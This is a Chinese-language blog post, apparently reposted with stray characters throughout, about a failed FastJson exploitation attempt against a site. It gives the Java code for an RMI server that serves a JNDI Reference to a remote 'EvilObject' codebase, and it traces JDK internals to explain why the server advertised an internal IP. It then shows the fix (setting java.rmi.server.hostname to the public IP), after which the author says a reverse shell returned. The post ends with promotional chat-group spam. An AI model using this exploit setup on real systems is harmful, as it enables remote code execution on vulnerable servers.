去年我salt大哥帶我搞一個存在FastJson漏洞站的時候, 在ECS上啟動rmi使用Reference 加載遠程codebase代碼庫的方法, 但是一直沒能成功執(zhí)行命令苛让。
最后才了解到需要修改掉/etc/hostname文件為公網ip地址才能夠正常利用, 在修改掉/etc/hostname為公網ip后,成功彈回來了shell。
失敗原因
當時使用的啟動rmi服務的java代碼翻伺。
RMIService.java
importcom.sun.jndi.rmi.registry.ReferenceWrapper;importjavax.naming.Reference;importjava.rmi.registry.Registry;importjava.rmi.registry.LocateRegistry;publicclassRMIService{publicstaticvoid main(Stringargs[])throwsException{Registryregistry =LocateRegistry.createRegistry(1099);ReferencerefObj = newReference("EvilObject","EvilObject","http://127.0.0.1:8000/");ReferenceWrapperrefObjWrapper = newReferenceWrapper(refObj);System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/refObj'"); registry.bind("refObj", refObjWrapper); }}
RMI在綁定refObjWrapper時, 綁定的其實是refObjWrapper_Stub
啟動RMI后, 用nmap掃描可以發(fā)現, ReferenceWrapper_Stub引用到了一個內網ip中。
在客戶端從RMI中獲取到ReferenceWrapper_Stub后, 經過this.decode還原成ReferenceWrapper, 然后嘗試去加載這個引用, 但是因為內網ip的原因直接加載失敗卷拘。 這個內網ip是ECS的內網ip, 在客戶端這邊肯定就加載失敗了除秀。
RMI ReferenceWrapper_Stub
在實例化ReferenceWrapper_Stub時,
Stringvar7 = resampleLocalHost();if(var6 ==null) {? ? var3 =newTCPEndpoint(var7, var0, var1, var2);? ? var6 =newLinkedList();? ? var6.add(var3);? ? var3.listenPort = var0;? ? var3.transport =newTCPTransport(var6);? ? localEndpoints.put(var5, var6);if(TCPTransport.tcpLog.isLoggable(Log.BRIEF)) {? ? ? ? TCPTransport.tcpLog.log(Log.BRIEF,"created local endpoint for socket factory "+ var2 +" on port "+ var0);? ? }}else{? ? synchronized(var6) {? ? ? ? var3 = (TCPEndpoint)var6.getLast();Stringvar9 = var3.host;intvar10 = var3.port;? ? ? ? TCPTransport var11 = var3.transport;if(var7 !=null&& !var7.equals(var9)) {if(var10 !=0) {? ? ? ? ? ? ? ? var6.clear();? ? ? ? ? ? }? ? ? ? ? ? var3 =newTCPEndpoint(var7, var10, var1, var2);? ? ? ? ? ? var3.listenPort = var0;? ? ? ? ? ? var3.transport = var11;? ? ? ? ? ? var6.add(var3);? ? ? ? }? ? }}
通過resampleLocalHost來獲取 Reference 要引用到的ip
private static StringresampleLocalHost(){? ? String var0 = getHostnameProperty();? ? Map var1 =localEndpoints;? ? synchronized(localEndpoints) {if(var0 != null) {if(!localHostKnown) {setLocalHost(var0);? ? ? ? ? ? }elseif(!var0.equals(localHost)) {localHost = var0;if(TCPTransport.tcpLog.isLoggable(Log.BRIEF)) {? ? ? ? ? ? ? ? ? ? TCPTransport.tcpLog.log(Log.BRIEF,"updated local hostname to: "+localHost);? ? ? ? ? ? ? ? }? ? ? ? ? ? }? ? ? ? }returnlocalHost;? ? }}
首先嘗試使用getHostnameProperty來獲取ip
privatestaticStringgetHostnameProperty(){return(String)AccessController.doPrivileged(newGetPropertyAction("java.rmi.server.hostname"));}
但是這里由于我們的RMIService沒有設置java.rmi.server.hostname所以這里返回null。
當從getHostnameProperty獲取ip失敗時, 直接返回localhost屬性算利。
localhost屬性在靜態(tài)方法中被設置册踩。
static {if(localHost == null) {? ? ? ? try {? ? ? ? ? ? InetAddress var0 = InetAddress.getLocalHost();? ? ? ? ? ? byte[] var1 = var0.getAddress();if(var1[0] == 127 && var1[1] == 0 && var1[2] == 0 && var1[3] == 1) {localHostKnown =false;? ? ? ? ? ? }if(getBoolean("java.rmi.server.useLocalHostName")) {localHost = TCPEndpoint.FQDN.attemptFQDN(var0);? ? ? ? ? ? }else{localHost = var0.getHostAddress();? ? ? ? ? ? }? ? ? ? } catch (Exception var2) {localHostKnown =false;localHost = null;? ? ? ? }? ? }if(TCPTransport.tcpLog.isLoggable(Log.BRIEF)) {? ? ? ? TCPTransport.tcpLog.log(Log.BRIEF,"localHostKnown = "+localHostKnown +", localHost = "+localHost);? ? }localEndpoints = new HashMap();}
這里使用了InetAddress.getLocalHost()來獲取ip
publicstaticInetAddressgetLocalHost()throwsUnknownHostException{? ? SecurityManager security = System.getSecurityManager();try{? ? ? ? String local = impl.getLocalHostName();// 獲取HostName, linux系統(tǒng)可以通過修改/etc/hostname文件內容來設置hostname。if(security !=null) {? ? ? ? ? ? security.checkConnect(local, -1);? ? ? ? }if(local.equals("localhost")) {returnimpl.loopbackAddress();? ? ? ? }? ? ? ? InetAddress ret =null;synchronized(cacheLock) {longnow = System.currentTimeMillis();if(cachedLocalHost !=null) {if((now - cacheTime) < maxCacheTime)// Less than 5s old?ret = cachedLocalHost;elsecachedLocalHost =null;? ? ? ? ? ? }// we are calling getAddressesFromNameService directly// to avoid getting localHost from cacheif(ret ==null) {? ? ? ? ? ? ? ? InetAddress[] localAddrs;try{? ? ? ? ? ? ? ? ? ? localAddrs =? ? ? ? ? ? ? ? ? ? ? ? InetAddress.getAddressesFromNameService(local,null);//使用該方法獲取ip,如果hostname是域名,會把域名轉換為對應ip//如果hostname不合法, 返回各網卡的ip效拭。}catch(UnknownHostException uhe) {// Rethrow with a more informative error message.UnknownHostException uhe2 =newUnknownHostException(local +": "+? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? uhe.getMessage());? ? ? ? ? ? ? ? ? ? uhe2.initCause(uhe);throwuhe2;? ? ? ? ? ? ? ? }? ? ? ? ? ? ? ? cachedLocalHost = localAddrs[0];// get en0cacheTime = now;? ? ? ? ? ? ? ? ret = localAddrs[0];? ? ? ? ? ? }? ? ? ? }returnret;? ? }catch(java.lang.SecurityException e) {returnimpl.loopbackAddress();? ? }}
由于ECS的hostname一般都長這個樣子
所以肯定不是合法的域名或者ip了, 那么Reference的ip 就是獲取的en0的ip,
就成了一個內網ip, 導致訪問引用失敗暂吉。
這里只要把Reference引用到公網ip上 就能成功利用了。
所以以前可以通過修改/etc/hostname為公網ip來成功利用, 但是修改/etc/hostname后得重啟才能生效,很麻煩缎患。
從上面可以看出, 如果設置了java.rmi.server.hostname屬性之后, 該屬性值就會覆蓋掉靜態(tài)方法所設置的localhost屬性慕的。
所以在啟動rmi的時候 設置java.rmi.server.hostname屬性為公網ip即可。
importcom.sun.jndi.rmi.registry.ReferenceWrapper;importjavax.naming.Reference;importjava.rmi.registry.Registry;importjava.rmi.registry.LocateRegistry;publicclassRMIService{publicstaticvoid main(Stringargs[])throwsException{System.setProperty("java.rmi.server.hostname","你的公網ip");Registryregistry =LocateRegistry.createRegistry(1099);ReferencerefObj = newReference("EvilObject","EvilObject","http://127.0.0.1:8000/");ReferenceWrapperrefObjWrapper = newReferenceWrapper(refObj);System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/refObj'");? ? ? ? registry.bind("refObj", refObjWrapper);? ? }}
再用nmap掃描, 就能夠發(fā)現已經變?yōu)楣Wip了较锡。
進群:697699179可以獲取Java各類入門學習資料业稼!
這是我的微信公眾號【編程study】各位大佬有空可以關注下,每天更新Java學習方法蚂蕴,感謝低散!
學習中遇到問題有不明白的地方,推薦加小編Java學習群:697699179內有視頻教程 骡楼,直播課程 熔号,等學習資料,期待你的加入